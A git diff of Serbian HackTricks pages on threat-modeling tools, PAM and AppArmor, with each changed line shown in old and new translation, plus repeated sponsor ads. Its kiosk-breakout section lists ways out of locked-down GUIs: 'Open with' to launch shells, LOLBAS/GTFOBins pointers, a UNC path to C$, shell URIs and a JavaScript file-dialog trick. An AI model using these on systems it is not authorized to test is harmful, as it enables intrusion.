* Proces (Sam entitet kao što su Veb server ili veb funkcionalnost)
* Akter (Osoba poput Posetioca veb sajta, Korisnika ili Administratora)
* Linija protoka podataka (Indikator interakcije)
* Granica poverenja (Različiti mrežni segmenti ili opsezi.)
* Skladište (Mesta gde se podaci čuvaju, kao što su baze podataka)
* Granica poverenja (Različiti segmenti mreže ili opsezi.)
* Skladište (Mesta gde se podaci čuvaju, poput baza podataka)
5. Kreirajte pretnju (Korak 1)
@ -96,6 +110,28 @@ Sada možete kreirati pretnju
<figure><img src="../.gitbook/assets/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
Imajte na umu da postoji razlika između pretnji aktera i pretnji procesa. Ako biste dodali pretnju akteru, moći ćete izabrati samo "Spoofing" i "Repudiation". Međutim, u našem primeru dodajemo pretnju procesnom entitetu, pa ćemo videti ovo u okviru za kreiranje pretnje:
Imajte na umu da postoji razlika između Pretnji Aktera i Pretnji Procesa. Ako biste dodali pretnju Akteru, tada ćete moći izabrati samo "Spoofing" i "Repudiation". Međutim, u našem primeru dodajemo pretnju entitetu Procesa pa ćemo videti ovo u okviru kreiranja pretnje:
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg"
<figure><img src="../.gitbook/assets/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
6. Gotovo
Sada bi vaš završeni model trebalo da izgleda nešto ovako. I to je kako napraviti jednostavan model pretnji sa OWASP Threat Dragon-om.
<figure><img src="../.gitbook/assets/threat_model_finished.jpg" alt=""><figcaption></figcaption></figure>
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
Ovo je besplatan alat od Microsoft-a koji pomaže u pronalaženju pretnji u fazi dizajna softverskih projekata. Koristi STRIDE metodologiju i posebno je pogodan za one koji razvijaju na Microsoft-ovoj platformi.
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Njihov primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihov pretraživač **besplatno** na:
{% embed url="https://whiteintel.io" %}

View file

@ -4,7 +4,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
@ -12,6 +12,19 @@ Drugi načini podrške HackTricks-u:
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
# Provera mogućih akcija unutar GUI aplikacije
@ -33,11 +46,11 @@ Treba da proverite da li možete:
## Izvršavanje komandi
Možda **korišćenjem opcije `Otvori sa`** možete otvoriti/izvršiti neku vrstu shell-a.
Možda **korišćenjem opcije `Otvori sa`** možete otvoriti/izvršiti neku vrstu ljuske.
### Windows
Na primer _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ pronađite više binarnih fajlova koji se mogu koristiti za izvršavanje komandi (i obavljati neočekivane akcije) ovde: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
Na primer _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ pronađite više binarnih fajlova koji se mogu koristiti za izvršavanje komandi (i obavljanje neočekivanih akcija) ovde: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX __
@ -50,8 +63,8 @@ _bash, sh, zsh..._ Više ovde: [https://gtfobins.github.io/](https://gtfobins.gi
* **Okružne promenljive**: Postoji mnogo okružnih promenljivih koje pokazuju na neku putanju
* **Drugi protokoli**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Simboličke veze**
* **Prečice**: CTRL+N (otvori novu sesiju), CTRL+R (Izvrši komande), CTRL+SHIFT+ESC (Menadžer zadataka), Windows+E (otvori explorer), CTRL-B, CTRL-I (Favoriti), CTRL-H (Istorija), CTRL-L, CTRL-O (Fajl/Otvori dijalog), CTRL-P (Dijalog za štampanje), CTRL-S (Sačuvaj kao)
* Skriveni Administrativni meni: CTRL-ALT-F8, CTRL-ESC-F9
* **Prečice**: CTRL+N (otvori novu sesiju), CTRL+R (Izvrši komande), CTRL+SHIFT+ESC (Menadžer zadataka), Windows+E (otvori explorer), CTRL-B, CTRL-I (Favoriti), CTRL-H (Istorija), CTRL-L, CTRL-O (Dijalog za otvaranje fajla), CTRL-P (Dijalog za štampanje), CTRL-S (Sačuvaj kao)
* Skriveni administrativni meni: CTRL-ALT-F8, CTRL-ESC-F9
* **Shell URI-ji**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC putanje**: Putanje za povezivanje sa deljenim fasciklama. Trebalo bi da pokušate da se povežete sa C$ lokalne mašine ("\\\127.0.0.1\c$\Windows\System32")
* **Još UNC putanja:**
@ -68,13 +81,13 @@ _bash, sh, zsh..._ Više ovde: [https://gtfobins.github.io/](https://gtfobins.gi
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## Preuzmite Vaše Binaries
## Preuzmite Vaše binarne fajlove
Konsole: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Konzola: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Uređivač registra: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
Editor registra: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Pristupanje fajl sistemu preko pretraživača
## Pristupanje fajl sistemu iz pretraživača
| PUTANJA | PUTANJA | PUTANJA | PUTANJA |
| ------------------- | ----------------- | ------------------ | ------------------- |
@ -88,40 +101,40 @@ Uređivač registra: [https://sourceforge.net/projects/uberregedit/](https://sou
## Prečice
* Ljepljive Tasteri Pritisnite SHIFT 5 puta
* Tasteri Miša SHIFT+ALT+NUMLOCK
* Visoki Kontrast SHIFT+ALT+PRINTSCN
* Prekidač Tastera Držite NUMLOCK 5 sekundi
* Filter Tasteri Držite desni SHIFT 12 sekundi
* Ljepljive tipke Pritisnite SHIFT 5 puta
* Miš tipke SHIFT+ALT+NUMLOCK
* Visoki kontrast SHIFT+ALT+PRINTSCN
* Prekidač tipki Držite NUMLOCK 5 sekundi
* Filter tipki Držite desni SHIFT 12 sekundi
* WINDOWS+F1 Windows Pretraga
* WINDOWS+D Prikaz radne površine
* WINDOWS+D Prikaz radne površi
* WINDOWS+E Pokreni Windows Explorer
* WINDOWS+R Pokreni
* WINDOWS+U Centar za olakšavanje pristupa
* WINDOWS+F Pretraga
* SHIFT+F10 Kontekstualni Meni
* SHIFT+F10 Kontekstualni meni
* CTRL+SHIFT+ESC Menadžer zadataka
* CTRL+ALT+DEL Početni ekran na novijim verzijama Windows-a
* F1 Pomoć F3 Pretraga
* F6 Traka adrese
* F11 Prebacivanje na pun ekran unutar Internet Explorera
* F11 Prebacivanje na celozaslonski režim unutar Internet Explorera
* CTRL+H Istorija Internet Explorera
* CTRL+T Internet Explorer Novi Tab
* CTRL+N Internet Explorer Nova Stranica
* CTRL+O Otvori Fajl
* CTRL+T Internet Explorer Novi tab
* CTRL+N Internet Explorer Nova stranica
* CTRL+O Otvori fajl
* CTRL+S Sačuvaj CTRL+N Novi RDP / Citrix
## Potezi
* Povucite prstom sa leve strane na desnu da biste videli sve otvorene prozore, minimizirajući KIOSK aplikaciju i direktno pristupili celom OS-u;
* Povucite prstom sa desne strane na levu da biste otvorili Akcioni centar, minimizirajući KIOSK aplikaciju i direktno pristupili celom OS-u;
* Povucite prstom sa gornje ivice da biste videli traku sa naslovom aplikacije otvorene u režimu punog ekrana;
* Povucite prstom odozdo nagore da biste prikazali traku sa zadacima u aplikaciji na punom ekranu.
* Povucite s leve strane na desnu da biste videli sve otvorene prozore, minimizirajući KIOSK aplikaciju i direktno pristupili celom OS-u;
* Povucite s desne strane na levu da biste otvorili Akcioni centar, minimizirajući KIOSK aplikaciju i direktno pristupili celom OS-u;
* Povucite odozgo da biste videli traku sa naslovom za aplikaciju otvorenu u režimu punog ekrana;
* Povucite odozdo da biste prikazali traku sa zadacima u aplikaciji na punom ekranu.
## Trikovi za Internet Explorer
### 'Alatna traka za slike'
### 'Alat za slike'
To je alatna traka koja se pojavljuje u gornjem levom uglu slike kada se klikne na nju. Moći ćete da Sačuvate, Odštampate, Pošaljete e-poštu, Otvorite "Moje slike" u Exploreru. Kiosk mora koristiti Internet Explorer.
To je traka sa alatima koja se pojavljuje u gornjem levom uglu slike kada se klikne na nju. Moći ćete da Sačuvate, Odštampate, Pošaljete e-poštu, Otvorite "Moje slike" u Exploreru. Kiosk mora koristiti Internet Explorer.
### Shell protokol
@ -155,43 +168,43 @@ Proverite ovu stranicu za više informacija: [https://www.howtohaven.com/system/
# Trikovi za pretraživače
Rezervne verzije iKat-a:
Rezervne iKat verzije:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
Kreirajte zajednički dijalog korišćenjem JavaScript-a i pristupite Explorer-u: `document.write('<input/type=file>')`
Kreirajte zajednički dijalog pomoću JavaScript-a i pristupite Explorer-u: `document.write('<input/type=file>')`
Izvor: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## Pokreti i dugmad
* Povucite prstom nagore sa četiri (ili pet) prstiju / Dvaput dodirnite dugme Početna: Da biste videli prikaz višestrukih zadataka i promenili aplikaciju
* Povucite nagore sa četiri (ili pet) prstiju / Dvaput dodirnite dugme Početna: Da biste videli prikaz višestrukih zadataka i promenili aplikaciju
* Povucite prstom na jednu stranu ili drugu sa četiri ili pet prstiju: Da biste promenili na sledeću/prethodnu aplikaciju
* Povucite na jednu stranu ili drugu sa četiri ili pet prstiju: Da biste promenili na sledeću/prethodnu aplikaciju
* Štipnite ekran sa pet prstiju / Dodirnite dugme Početna / Povucite prstom nagore jednim prstom sa dna ekrana u brzom pokretu nagore: Da biste pristupili Početnoj stranici
* Štipnite ekran sa pet prstiju / Dodirnite dugme Početna / Povucite nagore jednim prstom sa dna ekrana u brzom pokretu ka gore: Da biste pristupili Početnoj stranici
* Povucite prstom sa dna ekrana samo 1-2 inča (sporo): Pojavljuje se dock
* Povucite jednim prstom sa dna ekrana samo 1-2 inča (sporo): Pojavljuje se dock
* Povucite prstom nadole sa vrha ekrana jednim prstom: Da biste videli svoje obaveštenja
* Povucite nadole sa vrha ekrana jednim prstom: Da biste videli obaveštenja
* Povucite prstom nadole jednim prstom u gornjem desnom uglu ekrana: Da biste videli kontrolni centar iPad Pro-a
* Povucite nadole jednim prstom u gornjem desnom uglu ekrana: Da biste videli kontrolni centar iPad Pro-a
* Povucite prstom s leve strane ekrana 1-2 inča jednim prstom: Da biste videli Prikaz današnjih događaja
* Povucite jednim prstom sa leve strane ekrana 1-2 inča: Da biste videli Pregled današnjih događaja
* Brzo povucite prstom s centra ekrana udesno ili ulevo jednim prstom: Da biste prešli na sledeću/prethodnu aplikaciju
* Brzo povucite jednim prstom sa centra ekrana udesno ili ulevo: Da biste promenili na sledeću/prethodnu aplikaciju
* Pritisnite i držite dugme za uključivanje/isključivanje na gornjem desnom uglu iPada + Pomerite klizač za isključivanje napajanja skroz udesno: Da biste isključili napajanje
* Pritisnite i držite dugme Uključi/**Isključi**/Spavanje u gornjem desnom uglu **iPad-a +** Pomerite klizač za **isključivanje** sve do kraja udesno: Da biste isključili
* Pritisnite dugme za uključivanje/isključivanje na gornjem desnom uglu iPada i dugme Početna nekoliko sekundi: Da biste prinudno isključili napajanje
* Pritisnite dugme Uključi/**Isključi**/Spavanje u gornjem desnom uglu **iPad-a i dugme Početna nekoliko sekundi**: Da biste prinudno isključili uređaj
* Pritisnite dugme za uključivanje/isključivanje na gornjem desnom uglu iPada i dugme Početna brzo: Da biste napravili snimak ekrana koji će se pojaviti u donjem levom uglu ekrana. Pritisnite oba dugmeta istovremeno veoma kratko, jer ako ih držite nekoliko sekundi, izvršiće se prinudno isključivanje napajanja
* Pritisnite dugme Uključi/**Isključi**/Spavanje u gornjem desnom uglu **iPad-a i dugme Početna brzo**: Da biste napravili snimak ekrana koji će se pojaviti u donjem levom uglu ekrana. Pritisnite oba dugmeta istovremeno veoma kratko, jer ako ih držite nekoliko sekundi, izvršiće se prinudno isključivanje.
## Prečice
Treba da imate tastaturu za iPad ili adapter za USB tastaturu. Prikazane su samo prečice koje mogu pomoći u izlasku iz aplikacije.
Treba da imate tastaturu za iPad ili adapter za USB tastaturu. Biće prikazane samo prečice koje mogu pomoći u izlasku iz aplikacije.
| Taster | Naziv |
| --- | ------------ |
@ -208,7 +221,7 @@ Treba da imate tastaturu za iPad ili adapter za USB tastaturu. Prikazane su samo
### Sistemske prečice
Ove prečice su za vizuelna podešavanja i zvučna podešavanja, u zavisnosti od korišćenja iPada.
Ove prečice su za vizuelna podešavanja i zvučna podešavanja, u zavisnosti od korišćenja iPad-a.
| Prečica | Radnja |
| -------- | ------------------------------------------------------------------------------ |
@ -245,11 +258,11 @@ Ove prečice su za vizuelna podešavanja i zvučna podešavanja, u zavisnosti od
| ⌥ ↓ (Opcija-Strelica nadole) | Pomeri nadole |
| ⌥↑ (Opcija-Strelica nagore) | Pomeri nagore |
| ⌥← ili ⌥→ (Opcija-Leva strelica ili Opcija-Desna strelica) | Pomeri levo ili desno |
| ^⌥S (Control-Option-S) | Uključi ili isključi govor VoiceOver |
| ^⌥S (Control-Option-S) | Uključi ili isključi VoiceOver govor |
| ⌘⇧⇥ (Command-Shift-Tab) | Prebaci se na prethodnu aplikaciju |
| ⌘⇥ (Command-Tab) | Vrati se na originalnu aplikaciju |
| ←+→, zatim Opcija + ← ili Opcija+→ | Navigacija kroz Dock |
### Prečice za Safari
### Safari prečice
| Prečica | Radnja |
| ----------------------- | ------------------------------------------------- |
@ -260,11 +273,11 @@ Ove prečice su za vizuelna podešavanja i zvučna podešavanja, u zavisnosti od
| ⌘. | Zaustavi učitavanje trenutnog taba |
| ^⇥ | Prebaci se na sledeći tab |
| ^⇧⇥ (Control-Shift-Tab) | Prebaci se na prethodni tab |
| ⌘L | Izaberi polje za unos teksta/URL-a radi izmene |
| ⌘L | Izaberi tekstualni unos/URL polje za izmenu |
| ⌘⇧T (Command-Shift-T) | Otvori poslednji zatvoreni tab (može se koristiti više puta) |
| ⌘\[ | Vrati se jednu stranicu unazad u istoriji pretrage |
| ⌘] | Idi jednu stranicu unapred u istoriji pretrage |
| ⌘⇧R | Aktiviraj režim čitača |
| ⌘⇧R | Aktiviraj režim čitača |
### Prečice za Mail
@ -285,16 +298,28 @@ Ove prečice su za vizuelna podešavanja i zvučna podešavanja, u zavisnosti od
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade informacije**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,18 +4,31 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **kradljivih malvera**.
Njihov primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Osnovne informacije
**PAM (Pluggable Authentication Modules)** deluje kao mehanizam za bezbednost koji **proverava identitet korisnika koji pokušavaju da pristupe računarskim uslugama**, kontrolišući njihov pristup na osnovu različitih kriterijuma. To je slično digitalnom čuvaru, osiguravajući da samo ovlašćeni korisnici mogu da koriste određene usluge, dok istovremeno mogu ograničiti njihovo korišćenje radi sprečavanja preopterećenja sistema.
**PAM (Pluggable Authentication Modules)** deluje kao mehanizam bezbednosti koji **verifikuje identitet korisnika koji pokušavaju da pristupe računarskim uslugama**, kontrolišući njihov pristup na osnovu različitih kriterijuma. To je slično digitalnom čuvaru, osiguravajući da samo ovlašćeni korisnici mogu da koriste određene usluge, dok istovremeno može ograničiti njihovo korišćenje kako bi se sprečili preopterećenja sistema.
### Konfiguracioni fajlovi
@ -35,42 +48,55 @@ password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
```
### **PAM Upravljanje oblastima**
### **PAM Upravljački Oblasti**
Ove oblasti, ili grupe upravljanja, uključuju **auth**, **account**, **password** i **session**, pri čemu svaka odgovara za različite aspekte procesa autentifikacije i upravljanja sesijom:
Ove oblasti, ili grupe upravljanja, uključuju **auth**, **account**, **password**, i **session**, pri čemu svaka odgovara za različite aspekte procesa autentikacije i upravljanja sesijom:
- **Auth**: Proverava identitet korisnika, često putem zahteva za unos lozinke.
- **Account**: Obrađuje proveru naloga, proveravajući uslove kao što su članstvo u grupi ili ograničenja vremena.
- **Password**: Upravlja ažuriranjem lozinke, uključujući proveru složenosti ili sprečavanje rečničkih napada.
- **Session**: Upravlja radnjama tokom početka ili kraja sesije usluge, kao što su montiranje direktorijuma ili postavljanje ograničenja resursa.
- **Auth**: Potvrđuje identitet korisnika, često tražeći unos lozinke.
- **Account**: Obradjuje proveru naloga, proveravajući uslove poput članstva u grupi ili vremenskih ograničenja.
- **Password**: Upravlja ažuriranjem lozinke, uključujući provere kompleksnosti ili prevenciju od rečničkih napada.
- **Session**: Upravlja akcijama tokom početka ili kraja sesije servisa, poput montiranja direktorijuma ili postavljanja ograničenja resursa.
### **PAM Kontrole modula**
### **PAM Kontrole Modula**
Kontrole određuju odgovor modula na uspeh ili neuspeh, utičući na celokupan proces autentifikacije. Ove kontrole uključuju:
Kontrole diktiraju odgovor modula na uspeh ili neuspeh, utičući na celokupan proces autentikacije. Ove kontrole uključuju:
- **Required**: Neuspeh obaveznog modula rezultira konačnim neuspehom, ali tek nakon provere svih sledećih modula.
- **Requisite**: Odmah prekida proces pri neuspehu.
- **Sufficient**: Uspeh zaobilazi preostale provere u istoj oblasti, osim ako neki sledeći modul ne uspe.
- **Required**: Neuspeh obaveznog modula rezultira konačnim neuspehom, ali tek nakon što su provereni svi sledeći moduli.
- **Requisite**: Odmah prekida proces u slučaju neuspeha.
- **Sufficient**: Uspeh zaobilazi ostale provere iste oblasti, osim ako neki sledeći modul ne uspe.
- **Optional**: Izaziva neuspeh samo ako je jedini modul u steku.
### Primer scenarija
### Primer Scenarija
U postavci sa više autentifikacionih modula, proces se pridržava stroge redosleda. Ako modul `pam_securetty` utvrdi da je terminal za prijavu neovlašćen, prijavljivanje kao root korisnik je blokirano, ali svi moduli se i dalje obrađuju zbog njegovog "required" statusa. Modul `pam_env` postavlja promenljive okruženja, što potencijalno pomaže korisničkom iskustvu. Moduli `pam_ldap` i `pam_unix` zajedno rade na autentifikaciji korisnika, pri čemu `pam_unix` pokušava da koristi prethodno unetu lozinku, poboljšavajući efikasnost i fleksibilnost metoda autentifikacije.
U postavci sa više auth modula, proces prati strogi redosled. Ako modul `pam_securetty` utvrdi da je prijavni terminal neovlašćen, prijavljivanje kao root je blokirano, ali svi moduli se i dalje obrađuju zbog njegovog "required" statusa. Modul `pam_env` postavlja promenljive okoline, što potencijalno pomaže korisničkom iskustvu. Moduli `pam_ldap` i `pam_unix` rade zajedno kako bi autentifikovali korisnika, pri čemu `pam_unix` pokušava da koristi prethodno unetu lozinku, poboljšavajući efikasnost i fleksibilnost u metodama autentikacije.
## Reference
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade informacije**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **oglašavanje vaše kompanije u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,36 +6,50 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Osnovne informacije
AppArmor je **kernel unapređenje dizajnirano da ograniči resurse dostupne programima putem profila za svaki program**, efektivno implementirajući obaveznu kontrolu pristupa (MAC) vezivanjem atributa kontrole pristupa direktno za programe umesto za korisnike. Ovaj sistem funkcioniše tako što **učitava profile u kernel**, obično tokom pokretanja, a ovi profili određuju koje resurse program može da pristupi, kao što su mrežne veze, pristup sirovim soketima i dozvole za fajlove.
